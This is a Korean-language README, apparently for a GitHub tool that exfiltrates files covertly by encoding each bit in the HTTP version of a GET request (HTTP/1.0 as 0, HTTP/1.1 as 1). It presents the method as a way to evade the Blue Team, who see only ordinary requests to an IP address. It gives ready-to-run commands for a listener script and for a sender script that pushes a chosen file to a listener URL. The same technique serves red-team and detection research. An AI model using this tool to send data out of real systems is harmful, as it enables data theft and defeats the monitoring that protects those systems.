ricardojoserf/http-protocol-exfilHTTP 프로토콜 버전을 사용하여 파일을 유출합니다 ("HTTP/1.0"은 0이고 "HTTP/1.1"은 1입니다)
HTTP 프로토콜 버전을 사용하여 파일을 비트 단위로 보냅니다("HTTP/1.0"은 0, "HTTP/1.1"은 1을 나타냅니다). GET 요청을 사용하므로 Blue Team은 IP 주소로의 요청만 보게 됩니다. 그러나 큰 파일을 보내는 데 시간이 오래 걸립니다. 예를 들어 200KB를 보내는 데 1시간이 필요하며, 요청 수는 파일 바이트 수의 8배로 매우 많아집니다.
리스너를 실행하려면 listener.py를 사용하고, 선택적 인자로 수신할 포트를 지정합니다.
python3 listener.py [PORT]
예시:
python3 listener.py 8080
파일을 보내려면 sender.py를 사용하며, 필수 인자 두 개(파일 경로와 리스너 URL)와 선택적 인자 하나(원격에서 생성될 파일 이름, 사용하지 않으면 입력 파일의 이름 사용)를 받습니다.
python3 sender.py -u URL -i INPUTFILE [-o OUTPUTFILE]
예시:
python3 sender.py -u "http://127.0.0.1:8080" -i test.txt -o updated_test.txt
먼저 파일이 전송됩니다:
debug 변수가 True(기본값)로 설정되어 있으면 리스너 로그 메시지에서 이진 값을 볼 수 있습니다:
입력 파일의 내용으로 새 파일이 생성됩니다:
저는 (확실하지는 않지만) 누군가가 트위터에서 이 방법을 사용하여 데이터를 유출했다고 주장하는 글을 본 것 같습니다. 그 아이디어가 마음에 들었습니다. 그 사람이시라면 알려주세요.